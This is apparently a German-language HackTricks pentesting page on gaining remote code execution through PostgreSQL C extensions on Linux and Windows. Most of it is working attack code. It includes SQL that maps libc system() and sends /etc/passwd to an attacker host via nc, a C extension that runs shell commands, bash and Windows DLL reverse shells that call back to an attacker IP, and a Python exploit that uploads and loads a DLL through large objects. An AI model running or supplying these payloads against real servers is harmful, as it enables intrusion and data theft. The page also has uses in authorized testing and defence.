RCE with PostgreSQL Extensions

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL-Erweiterungen

PostgreSQL wurde mit der Erweiterbarkeit als Kernfunktion entwickelt, sodass Erweiterungen nahtlos integriert werden können, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, erweitern die Datenbank um zusätzliche Funktionen, Operatoren oder Typen.

Ab Version 8.1 wird eine spezifische Anforderung an die Erweiterungsbibliotheken gestellt: Sie müssen mit einem speziellen Header kompiliert werden. Ohne dies wird PostgreSQL sie nicht ausführen und stellt sicher, dass nur kompatible und potenziell sichere Erweiterungen verwendet werden.

Beachten Sie auch, dass wenn Sie nicht wissen, wie Sie Dateien auf das Opfer hochladen können, indem Sie PostgreSQL ausnutzen, sollten Sie diesen Beitrag lesen. (big-binary-files-upload-postgresql.md)

RCE in Linux

Weitere Informationen finden Sie unter: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Die Ausführung von Systembefehlen ab PostgreSQL 8.1 und früheren Versionen ist ein klar dokumentierter und einfacher Prozess. Es ist möglich, dieses Metasploit-Modul zu verwenden.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Schreiben Sie eine Binärdatei aus Base64

Um eine Binärdatei in PostgreSQL in eine Datei zu schreiben, müssen Sie möglicherweise Base64 verwenden. Dies kann dabei helfen:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Jedoch, bei Versuchen auf höheren Versionen wurde der folgende Fehler angezeigt:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Dieser Fehler wird in der PostgreSQL-Dokumentation erklärt:

Um sicherzustellen, dass eine dynamisch geladene Objektdatei nicht in einen inkompatiblen Server geladen wird, überprüft PostgreSQL, ob die Datei einen "Magieblock" mit den entsprechenden Inhalten enthält. Dadurch kann der Server offensichtliche Inkompatibilitäten erkennen, wie z.B. Code, der für eine andere Hauptversion von PostgreSQL kompiliert wurde. Ein Magieblock ist ab PostgreSQL 8.2 erforderlich. Um einen Magieblock einzufügen, schreiben Sie dies in einer (und nur einer) der Modulquellcodedateien, nachdem Sie die Header-Datei fmgr.h eingefügt haben:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Seit der Version 8.2 von PostgreSQL wurde der Prozess für einen Angreifer, das System auszunutzen, erschwert. Der Angreifer muss entweder eine bereits auf dem System vorhandene Bibliothek nutzen oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert sein und einen spezifischen "Magieblock" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.

Kompilieren der Bibliothek

Holen Sie sich die PostgreSQL-Version mit:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Für die Kompatibilität ist es wichtig, dass die Hauptversionen übereinstimmen. Daher sollte das Kompilieren einer Bibliothek mit einer beliebigen Version innerhalb der 9.6.x-Serie eine erfolgreiche Integration gewährleisten.

Um diese Version in Ihrem System zu installieren:

apt install postgresql postgresql-server-dev-9.6

Und kompilieren Sie die Bibliothek:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Dann laden Sie die kompilierte Bibliothek hoch und führen Sie Befehle aus mit:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Sie können diese Bibliothek vorkompiliert für verschiedene PostgreSQL-Versionen finden und sogar diesen Prozess automatisieren (wenn Sie Zugriff auf PostgreSQL haben) mit:

RCE in Windows

Die folgende DLL nimmt den Namen der ausführbaren Datei und die Anzahl der Ausführungen, die Sie ausführen möchten, als Eingabe und führt sie aus:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Du findest die DLL, die in diesem Zip kompiliert ist:

Du kannst dieser DLL angeben, welche Binärdatei ausgeführt werden soll und wie oft sie ausgeführt werden soll. In diesem Beispiel wird calc.exe 2 Mal ausgeführt:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

In hier findest du diese Reverse-Shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Beachten Sie, dass in diesem Fall der bösartige Code innerhalb der DllMain-Funktion liegt. Das bedeutet, dass es in diesem Fall nicht notwendig ist, die geladene Funktion in PostgreSQL auszuführen. Das Laden der DLL wird den Reverse-Shell-Befehl ausführen:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE in neuesten PostgreSQL-Versionen

In den neuesten Versionen von PostgreSQL wurden Einschränkungen eingeführt, bei denen es dem superuser untersagt ist, gemeinsam genutzte Bibliotheksdateien außerhalb bestimmter Verzeichnisse zu laden, wie z.B. C:\Program Files\PostgreSQL\11\lib unter Windows oder /var/lib/postgresql/11/lib auf *nix-Systemen. Diese Verzeichnisse sind durch die Benutzerkonten NETWORK_SERVICE oder postgres vor Schreibzugriffen geschützt.

Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-superuser möglich, binäre Dateien mithilfe von "großen Objekten" auf das Dateisystem zu schreiben. Diese Fähigkeit erstreckt sich auf das Schreiben innerhalb des Verzeichnisses C:\Program Files\PostgreSQL\11\data, das für Datenbankoperationen wie Aktualisieren oder Erstellen von Tabellen unerlässlich ist.

Eine erhebliche Sicherheitslücke ergibt sich aus dem Befehl CREATE FUNCTION, der das Durchsuchen von Verzeichnissen im Datenverzeichnis ermöglicht. Ein authentifizierter Angreifer könnte daher diese Durchsuchung ausnutzen, um eine gemeinsam genutzte Bibliotheksdatei in das Datenverzeichnis zu schreiben und sie anschließend zu laden. Dieser Exploit ermöglicht es dem Angreifer, beliebigen Code auszuführen und eine native Codeausführung auf dem System zu erreichen.

Angriffsablauf

Zunächst müssen Sie große Objekte verwenden, um die DLL hochzuladen. Wie Sie das tun können, erfahren Sie hier:

pageBig Binary Files Upload (PostgreSQL)

Sobald Sie die Erweiterung (in diesem Beispiel mit dem Namen poc.dll) in das Datenverzeichnis hochgeladen haben, können Sie sie mit folgendem Befehl laden:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Hinweis: Sie müssen die Dateierweiterung ".dll" nicht anhängen, da die Erstellungsfunktion sie automatisch hinzufügt.

Weitere Informationen finden Sie in der Originalveröffentlichung hier.

In dieser Veröffentlichung wurde der folgende Code verwendet, um die Postgres-Erweiterung zu generieren: Code zur Generierung der Postgres-Erweiterung (Um zu erfahren, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen).

Auf derselben Seite wurde ein Exploit bereitgestellt, um diese Technik zu automatisieren:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated